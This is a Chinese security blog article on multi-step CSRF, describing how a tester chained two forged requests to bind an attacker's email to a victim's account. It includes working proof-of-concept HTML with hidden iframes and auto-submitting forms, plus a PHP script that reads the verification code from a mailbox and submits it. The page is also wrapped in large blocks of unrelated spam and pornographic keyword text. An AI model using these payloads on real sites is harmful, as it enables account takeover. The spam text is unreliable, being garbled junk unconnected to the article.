精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

多步CSRF漏洞場景及其利用

安全 漏洞 應用安全
平時大家討論的CSRF利用多是發(fā)送一次請求。比如CSRF刷粉絲,CSRF發(fā)微博。本文主要討論一個稍微復雜點的利用場景。

CSRF的漏洞原理和利用方式這里就不多贅述了。平時大家討論的CSRF利用多是發(fā)送一次請求。比如CSRF刷粉絲,CSRF發(fā)微博。這里主要討論一個稍微復雜點的利用場景。

最近在做測試的時候遇到一個案例,用戶綁定郵箱的請求沒有防御CSRF。但是大家都知道綁定郵箱這個操作不是一步完成了。這次遇到的這個案例是這樣的。用戶發(fā)送一個申請綁定郵箱的請求,服務器給該郵箱發(fā)送一個驗證碼,然后用戶在頁面中輸入驗證碼完成綁定。

多步CSRF漏洞場景及其利用

從上圖的路程中可以看出。按照常見的csrf的漏洞來說,這里是沒法利用的。因為即使我們偽造了請求,讓用戶發(fā)出了綁定申請的郵件,還需要用戶把這個驗證碼在頁面上輸入才行。經(jīng)過更進一步的分析發(fā)現(xiàn),圖中4這一步也是沒有防御CSRF的。也就是說我們可以偽造兩次請求來實現(xiàn)CSRF綁定郵箱。這樣一個場景就是比較典型的多步CSRF。

有了思路就可以開始寫demo了。最初的想法:是不是用兩個表單就可以了呢。

  1. <html> 
  2. <body> 
  3. <form id="form1" method="POST"  action=" https://www.example.com/first.aspx"> 
  4. <input type="hidden" name="test1" value="1"> 
  5. <input type="submit" value="form1"> 
  6. </form> 
  7. <form id="form2" method="POST"  action=" https://www.example.com/second.aspx"> 
  8. <input type="hidden" name="test2" value="2"> 
  9. <input type="submit" value="form2"> 
  10. </form> 
  11. <script> 
  12. document.getElementById("form1").submit();  
  13. window.setTimeout( function () { document.forms.form2.submit()}, 12000);    
  14. </script> 
  15. </body> 
  16. </html> 

測試發(fā)現(xiàn)這想法太天真了。***個表單提交之后,就會跳轉(zhuǎn)到返回的結(jié)果頁面了。第二個表單不會提交了。而且這里遇到的這個場景比較特殊,并不是僅僅是先后提交兩個表單就可以了。第二個表單里的值(驗證碼)是需要***個表單提交之后,從郵箱里讀出來再放到第二個表單里。經(jīng)過查找資料。找到幾個解決方案。

解決方案1:

使用form的target屬性。target 屬性規(guī)定在何處打開 action URL。

多步CSRF漏洞場景及其利用

根據(jù)查到的資料。默認是_self。所以會跳到結(jié)果頁。我們使用_blank試試。

  1. <html> 
  2. <body> 
  3. <form id="form1" method="POST"  target=';_blank' action=" https://www.example.com/first.aspx"> 
  4. <input type="hidden" name="test1" value="1"> 
  5. <input type="submit" value="form1"> 
  6. </form> 
  7. <form id="form2" method="POST" target='_blank' action=" https://www.example.com/second.aspx"> 
  8. <input type="hidden" name="test2" value="2"> 
  9. <input type="submit" value="form2"> 
  10. </form> 
  11. <script> 
  12. document.getElementById("form1").submit();  
  13. window.setTimeout( function () { document.forms.form2.submit()}, 12000);    
  14. </script> 
  15. </body> 
  16. </html> 

這種方式可以實現(xiàn)兩次post的需求,不過太過暴力。需要新彈出窗口不說。彈出窗口也很可能被瀏覽器攔截掉。

解決方案2:

target可以選擇一個frame。framename 在指定的框架中打開。所以可以這樣寫。這樣子可以比較優(yōu)雅的發(fā)兩個post請求。

  1. <html> 
  2. <body> 
  3. <form id="form1" method="POST" target='csrfIframe1' action="https://www.baidu.com/first.aspx"> 
  4. <input type="hidden" name="test1" value="1"> 
  5. <input type="submit" value="form1"> 
  6. </form> 
  7. <form id="form2" method="POST" target='csrfIframe2' action="https://www.baidu.com/second.aspx"> 
  8. <input type="hidden" name="test2" value="2"> 
  9. <input type="submit" value="form2"> 
  10. </form> 
  11.  window.onload = function() {  
  12.  document.getElementById("form1").submit();  
  13.  // to make 2nd form wait for 1st, put the following in a function and use as a callback for a new timer  
  14.  document.getElementById("form2").submit();  
  15.  }  
  16. </script> 
  17. <iframe style="display: hidden" height="0" width="0" frameborder="0" name="csrfIframe1"></iframe> 
  18. <iframe style="display: hidden" height="0" width="0" frameborder="0" name="csrfIframe2"></iframe> 
  19. </body> </html> 

解決方案3:

使用iframe自然也是可以的。類似

  1. <iframe src="2post3.html" width="0" height="0"> 
  2. </iframe> 
  3. <iframe src="2post4.html" width="0" height="0"> 
  4. </iframe> 

##具體到郵箱驗證這個場景我使用了如下的一個poc。因為需要到郵箱中獲取驗證碼。所以使用了兩個文件。

文件1:發(fā)送申請郵箱綁定的請求:

  1. <html> 
  2. <body> 
  3. <!-- hidden iframes --> 
  4. <iframe style="display: hidden" height="100" width="100" frameborder="0" name="csrfIframe1"></iframe> 
  5. <form id="form1" action="http://xxxxxxxxxxx/security" method="POST" target="csrfIframe1"> 
  6. <input type="hidden" name="email" value="郵箱@qq.com" /> 
  7. </form> 
  8. <script> 
  9. document.getElementById("form1").submit();  
  10. </script> 
  11. <iframe style="display: hidden" height="100" width="100" frameborder="0" name="csrfIframe22" src="http://localhost/test/mail.php"></iframe> 
  12. </body> 
  13. </html> 

文件2:iframe的文件需要去郵箱獲取驗證碼拼到表單里。

  1. <?php  
  2. $mail = 'mail@qq.com';  
  3. $mailPass = 'pass';  
  4. sleep(2);//等待郵件發(fā)送  
  5. //以騰訊企業(yè)郵箱做了測試  
  6. $mailServer="imap.qq.com"//IMAP主機  
  7. $mailLink="{{$mailServer}:993/ssl}INBOX" ;   
  8. $mailUser = $mail//郵箱用戶名  
  9. $mbox = imap_open($mailLink,$mailUser,$mailPassor die("can't connect: " . imap_last_error()); //開啟信箱imap_open  
  10. $totalrows = imap_num_msg($mbox);   
  11. // echo $totalrows;//取得信件數(shù)  
  12. $numcode = '';  
  13. $mailBody = imap_fetchbody($mbox$totalrows, 1); //獲取***的一封郵件  
  14. $mailBody = base64_decode($mailBody);  
  15. preg_match('/\d{6}/',$mailBody,$res);//匹配驗證碼  
  16. $numcode = $res[0];  
  17. echo $numcode;  
  18. $form2 = '<html>  
  19. <body>  
  20. <form id="form2" action="http:xxxxxx" method="POST" target="csrfIframe2">  
  21. <input type="hidden" name="captchacode" value="'.$numcode.'" />  
  22. <input type="hidden" name="email" value="'.$mail.'" />  
  23. </form>  
  24. <script>  
  25. document.getElementById("form2").submit();</script>  
  26. </body>   
  27. </html>';  
  28. echo $form2

如有雷同純屬巧合。參考資料:

http://blog.opensecurityresearch.com/2014/05/multi-stagedmulti-form-csrf.html

http://ceriksen.com/2012/09/29/two-stage-csrf-attacks/

責任編輯:藍雨淚 來源: FreeBuf
相關推薦

2023-05-06 11:05:50

2013-04-24 15:56:40

2015-03-06 17:02:51

2016-09-28 16:38:47

2014-07-17 15:47:52

2012-11-08 10:49:47

CSRF漏洞漏洞鮮果網(wǎng)

2015-04-30 13:51:41

2019-09-17 10:06:46

數(shù)據(jù)庫程序員網(wǎng)絡安全

2011-05-10 09:55:14

2016-06-08 10:09:24

2021-03-06 09:50:43

漏洞網(wǎng)絡安全網(wǎng)絡攻擊

2021-11-10 11:51:33

BrakTooth安全漏洞藍牙設備

2013-03-11 18:04:02

2022-04-01 10:04:27

]零日漏洞漏洞勒索軟件

2016-04-29 10:58:13

2023-06-11 17:24:26

2020-10-14 09:44:52

漏洞

2023-07-26 17:13:38

2009-03-15 09:52:20

2009-08-15 10:19:01

漏洞利用php expEXP程序
點贊
收藏

51CTO技術棧公眾號

成人免费xxxxx在线视频| 国产精品igao视频| 日本wwwwwww| 澳门成人av网| 中文字幕综合网| www.久久艹| 免费视频网站在线观看入口| 国产精品7m凸凹视频分类| 精品久久人人做人人爱| 北条麻妃在线视频观看| 秋霞午夜理伦电影在线观看| av一区二区久久| 国产日韩欧美综合| 国产九色在线播放九色| 91精品啪在线观看国产81旧版| 亚洲精品在线免费播放| 久久久久久三级| 国产在线xxx| 欧美激情中文字幕一区二区| 国产精品一区二区免费| 欧美日韩在线视频一区| 亚洲国产精品女人| 国产在线一在线二| k8久久久一区二区三区| 亚洲一区二区中文| 一区二区乱子伦在线播放| 99精品免费| 欧美成人黑人xx视频免费观看| 在线免费观看成年人视频| 国产专区精品| 91国偷自产一区二区使用方法| www.国产在线播放| www久久日com| 国产精品初高中害羞小美女文| 精品免费视频123区| 精品人妻无码一区二区| 蜜桃视频一区二区三区| 欧美专区在线播放| 日本一区二区三区免费视频| 欧美视频一区| 美女福利视频一区| 亚洲最大的黄色网址| 999成人网| 日韩在线观看免费网站| 中文字幕网站在线观看| 日日狠狠久久偷偷综合色| 亚洲福利影片在线| 人妻 日韩 欧美 综合 制服| 9l视频自拍九色9l视频成人| 日韩午夜在线影院| 国产大片一区二区三区| 久久九九精品视频| 欧美一区二区三区思思人| 福利片一区二区三区| 成人性片免费| 欧美日韩国产免费一区二区| 天天爽天天爽夜夜爽| 天堂久久午夜av| 欧美中文字幕一区二区三区| 一本岛在线视频| 久久天天久久| 欧美精品精品一区| 日韩精品视频网址| 91欧美极品| 日韩av综合网| 亚洲精品成人无码熟妇在线| 中文有码一区| 这里只有精品视频| 成人涩涩小片视频日本| 欧美一区久久| 国内精品久久久久影院 日本资源 国内精品久久久久伊人av | av在线不卡一区| 亚洲免费不卡视频| 久久免费国产精品| 视频一区国产精品| h片在线播放| 亚洲成人一区在线| 毛葺葺老太做受视频| 欧美综合影院| 精品999久久久| 瑟瑟视频在线观看| 97色伦图片97综合影院| 欧美人在线观看| 九九热精品视频在线| 日本不卡视频一二三区| 亚洲一区二区三区sesese| 亚洲精品视频91| 91女厕偷拍女厕偷拍高清| 亚洲午夜精品久久久中文影院av| 免费**毛片在线| 亚洲综合激情网| 欧美三级午夜理伦三级| 9999在线精品视频| 亚洲国内精品视频| 欧美xxxx精品| 亚洲午夜黄色| 国产精品夜间视频香蕉| 韩国av在线免费观看| 久久久久99精品一区| 好吊色这里只有精品| av资源在线播放| 日韩欧美精品中文字幕| 欧美视频亚洲图片| 国产精品一区二区三区av麻 | 成人超碰在线| 欧美性视频一区二区三区| 国产成人av片| 精品国产一区二区三区小蝌蚪| 欧美日本在线视频中文字字幕| 久草视频一区二区| 国产一区二区91| 日韩欧美亚洲v片| 黄页网站在线| 欧美日韩大陆在线| 亚洲区免费视频| 伊人久久久大香线蕉综合直播| 国产精品青青在线观看爽香蕉| 亚洲精品国偷拍自产在线观看蜜桃| 国产欧美一区二区三区网站| 欧美在线一区视频| 日本精品一区二区三区在线观看视频| 亚洲另类欧美自拍| 国产在线视频在线观看| 国产一区福利在线| 日韩区国产区| 天堂在线中文网官网| 欧美成人一级视频| 天天色天天综合| 日韩av一区二| 欧美日韩亚洲综合一区二区三区激情在线| 色www永久免费视频首页在线| 欧美日精品一区视频| 成人午夜剧场视频网站| 99精品久久| 国产亚洲精品自在久久| a级影片在线| 欧美一区二区二区| 青青青视频在线播放| 免费成人你懂的| 欧美日韩国产精品一卡| 竹内纱里奈兽皇系列在线观看| 日韩欧美久久一区| 中文字幕影音先锋| 国产寡妇亲子伦一区二区| 免费观看中文字幕| 国产精品视频一区视频二区 | 女人高潮被爽到呻吟在线观看| 精品日韩一区二区三区| 久久国产露脸精品国产| 国产剧情一区在线| 日韩一二区视频| 在这里有精品| 3344国产精品免费看| 四虎电影院在线观看| 狠狠躁夜夜躁人人爽天天天天97| 精品国产av色一区二区深夜久久| 亚洲激情网站| 精品午夜一区二区三区| eeuss鲁一区二区三区| 亚洲第一区第一页| 久久久精品福利| 国产女同性恋一区二区| 一级做a免费视频| 艳女tv在线观看国产一区| 99国产超薄丝袜足j在线观看| 污污的网站在线看| 亚洲国产天堂久久国产91| 69视频免费在线观看| 欧美国产一区二区| 国产一区二区在线观看免费视频| 亚洲免费二区| 国产精品免费看一区二区三区| free性欧美| 永久免费精品影视网站| 国产片高清在线观看| 亚洲成人免费看| 精品无人区无码乱码毛片国产| 免费成人在线观看| 99热久久这里只有精品| 亚州综合一区| 国产精品一区二区久久精品| 国产激情在线观看| 亚洲国产精品va在线看黑人动漫 | 精品国产乱码久久久久久闺蜜| 精品无码一区二区三区电影桃花| 26uuu国产电影一区二区| 黄色永久免费网站| 欧美日韩三级电影在线| 欧美在线播放一区| 免费一级欧美片在线观看网站| 久久久久久亚洲精品不卡| 久久久久久青草| 日韩一区二区三区视频在线| 久久亚洲精品石原莉奈| 亚洲精品福利视频网站| 精品无人区无码乱码毛片国产| 国产做a爰片久久毛片| 成人性生活视频免费看| 久久精品国产亚洲夜色av网站 | 1769国内精品视频在线播放| 91最新在线| 亚洲国产精品成人一区二区| 瑟瑟视频在线免费观看| 婷婷开心激情综合| √天堂中文官网8在线| 久久影音资源网| 午夜性福利视频| 蜜桃视频在线观看一区二区| 欧美日韩性生活片| 久久精品国内一区二区三区水蜜桃| 精品欧美一区二区在线观看视频| 日本a人精品| 人妖精品videosex性欧美| 三级网站视频在在线播放| 在线亚洲男人天堂| 婷婷五月综合久久中文字幕| 欧美一区二区三区四区视频| 最近中文字幕在线观看视频| 无吗不卡中文字幕| 免费视频网站www| 国产精品理伦片| av网站免费在线看| 26uuu欧美| 老司机免费视频| 国产精品系列在线播放| 亚洲18在线看污www麻豆| 日韩电影网1区2区| 日韩中文字幕组| 欧美日本二区| 久久免费一级片| 亚洲国产精品日韩专区av有中文| 香蕉久久免费影视| 国产欧美日韩精品一区二区免费 | 香蕉久久一区二区不卡无毒影院| www.超碰在线观看| 亚洲色图在线视频| 来吧亚洲综合网| 中文字幕日韩精品一区| 人成免费在线视频| 国产精品视频你懂的| 老熟妇一区二区| 中文字幕高清一区| 亚洲不卡的av| 中文文精品字幕一区二区| 亚洲精品国产精品国自产网站| 久久久久久久电影| 欧美激情 一区| 国产精品白丝在线| 极品色av影院| 一区二区三区欧美激情| 九九九免费视频| 亚洲高清视频在线| 草久视频在线观看| 一本久久a久久免费精品不卡| 永久免费无码av网站在线观看| 日韩欧美极品在线观看| 免费一级a毛片| 欧美群妇大交群中文字幕| 国产同性人妖ts口直男| 日韩午夜三级在线| 蜜桃视频在线观看www| 亚洲精品福利在线| 久久国产精品高清一区二区三区| 一本色道久久综合狠狠躁篇的优点| 国产乱视频在线观看| 日韩在线观看视频免费| 日本一级理论片在线大全| 国模私拍一区二区三区| 亚洲一级少妇| 国产精品爽爽ⅴa在线观看| 日韩毛片免费看| 99超碰麻豆| 国产videos久久| 在线码字幕一区| 精品69视频一区二区三区Q| 国产女女做受ⅹxx高潮| 激情图区综合网| 亚洲麻豆一区二区三区| 国产亚洲欧美激情| 午夜精品一区二区三级视频| 亚洲v日本v欧美v久久精品| 潘金莲一级淫片aaaaaa播放| 91精品国产麻豆| 神马亚洲视频| 久久久av亚洲男天堂| 看黄在线观看| 成人黄色免费在线观看| 精品福利一区| 亚洲精品视频一区二区三区| 激情欧美日韩| av无码精品一区二区三区| 国产福利一区二区三区| 日韩乱码人妻无码中文字幕久久 | www日韩精品| 欧美日韩久久不卡| 性xxxx视频| 久久成人精品视频| 欧美日韩大片| 国产精品theporn88| 色天天久久综合婷婷女18| 热99这里只有精品| 国产一区高清在线| 欧美黄色激情视频| 精品成人av一区| www.激情五月.com| 最新91在线视频| 天堂在线中文网官网| 97视频资源在线观看| 国精一区二区| 欧美黑人经典片免费观看| 国产乱码精品一品二品| 91激情视频在线观看| 天天综合网 天天综合色| 国产情侣激情自拍| 国产一区二区av| 忘忧草在线日韩www影院| 99精彩视频| 91一区在线| 中文字幕第36页| 26uuu国产电影一区二区| 国产在线视频99| 日韩一卡二卡三卡四卡| 好吊日视频在线观看| 国产精品中文字幕在线| 欧美中文一区二区| 欧美黄色一级片视频| 91视频一区二区| 日韩视频免费观看高清| 精品日产卡一卡二卡麻豆| 中文av资源在线| 444亚洲人体| 欧美1区免费| 中文字幕第66页| 亚洲欧美视频在线观看视频| 亚洲香蕉在线视频| 色一情一乱一区二区| 欧美aaa级| 中文字幕不卡每日更新1区2区| 免费美女久久99| 国产精品www爽爽爽| 欧美影视一区在线| 黄色大片在线看| 国产精品日日摸夜夜添夜夜av| 国产一区二区三区网| 激情婷婷综合网| 欧美高清在线精品一区| 免费在线不卡av| 最新日韩中文字幕| 国产精品一区二区精品| 91传媒免费视频| 高清av一区二区| 国产一级淫片a| 日韩精品极品在线观看| gogo亚洲高清大胆美女人体| 欧美日韩无遮挡| 久久国产生活片100| 男的操女的网站| 亚洲精品一区二区三区香蕉| 成人免费网站观看| 欧美少妇一区| 麻豆国产一区二区| 麻豆成人在线视频| 亚洲精品美女久久| 一二区成人影院电影网| 夜夜爽www精品| 成人一区二区在线观看| 在线观看黄网站| 中文字幕一区二区三区电影| 99热这里有精品| 国产h视频在线播放| 日本一区二区三区视频视频| 91国内精品视频| 久久久久久久999| 国内成人精品| 日本一本在线视频| 五月天国产精品| 91精彩视频在线观看| 3d蒂法精品啪啪一区二区免费| 亚洲激情婷婷| 国产又色又爽又高潮免费| 欧美大片在线观看一区二区| 瑟瑟视频在线看| 一区二区免费在线观看| 粉嫩嫩av羞羞动漫久久久| 欧美一区二区三区网站| 久久精品国产欧美激情| 老司机凹凸av亚洲导航| 一区二区成人网| 亚洲电影第三页| 色网站免费在线观看| 国产精品一区二区免费看| 美女视频网站久久| 日产精品久久久久| 日韩视频精品在线| 日韩精品社区| 国产在线视频三区| 色婷婷av一区二区| 欧美人与禽性xxxxx杂性| 色噜噜狠狠一区二区三区| 成人毛片视频在线观看|